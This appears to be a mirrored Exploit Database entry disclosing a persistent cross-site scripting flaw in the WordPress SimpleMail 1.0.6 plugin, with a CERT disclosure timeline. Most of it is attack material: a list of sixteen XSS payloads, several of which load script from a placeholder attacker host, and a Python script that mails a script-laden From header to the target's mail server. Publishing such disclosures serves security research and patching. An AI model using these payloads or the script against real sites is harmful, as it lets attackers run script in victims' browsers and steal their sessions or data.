WordPress Plugin simplemail 1.0.6 – Persistent Cross-Site Scripting

• Exploit Database
• 17 阅读

• 作者： loneferret
  日期： 2012-08-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20361/

• #!/usr/bin/python
  
  '''
  
  Author: loneferret of Offensive Security
  Product: SimpleMail 
  Version: 1.0.6 (free version)
  Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley
  Software Download: http://wordpress.org/extend/plugins/wp-simplemail/
  
  Timeline:
  29 May 2012: Vulnerability reported to CERT
  30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
  23 Jul 2012: Update from CERT: No response from vendor
  08 Aug 2012: Public Disclosure
  
  Installed On: Ubuntu LAMP 8.04
  Wordpress: 3.3.1
  Client Test OS: MAC OS Lion
  Browser Used: Firefox 12
  
  
  Injection Points: To, From, Date, Subject
  Injection Payload(s):
  1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
  2: <SCRIPT>alert('XSS')</SCRIPT>
  3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
  4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 
  6: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
  7: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  8: <SCRIPT SRC=//attacker/.j> 
  9: <<SCRIPT>alert("XSS");//<</SCRIPT>
  10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  11: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
  12: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
  13: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
  14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
  15: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
  16: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>
  
  '''
  
  
  import smtplib, urllib2
   
  payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
   
  def sendMail(dstemail, frmemail, smtpsrv, username, password):
  msg= "From: hacker@offsec.local" + payload + "\n"
  msg += "To: victim@victim.local\n"
  msg += 'Date: Today\r\n'
  msg += "Subject: Offensive Security\n"
  msg += "Content-type: text/html\n\n"
  msg += "XSS\r\n\r\n"
  server = smtplib.SMTP(smtpsrv)
  server.login(username,password)
  try:
  server.sendmail(frmemail, dstemail, msg)
  except Exception, e:
  print "[-] Failed to send email:"
  print "[*] " + str(e)
  server.quit()
   
  username = "hacker@offsec.local"
  password = "123456"
  dstemail = "victim@victim.local"
  frmemail = "hacker@offsec.local"
  smtpsrv= "172.16.84.171"
   
  print "[*] Sending Email"
  sendMail(dstemail, frmemail, smtpsrv, username, password)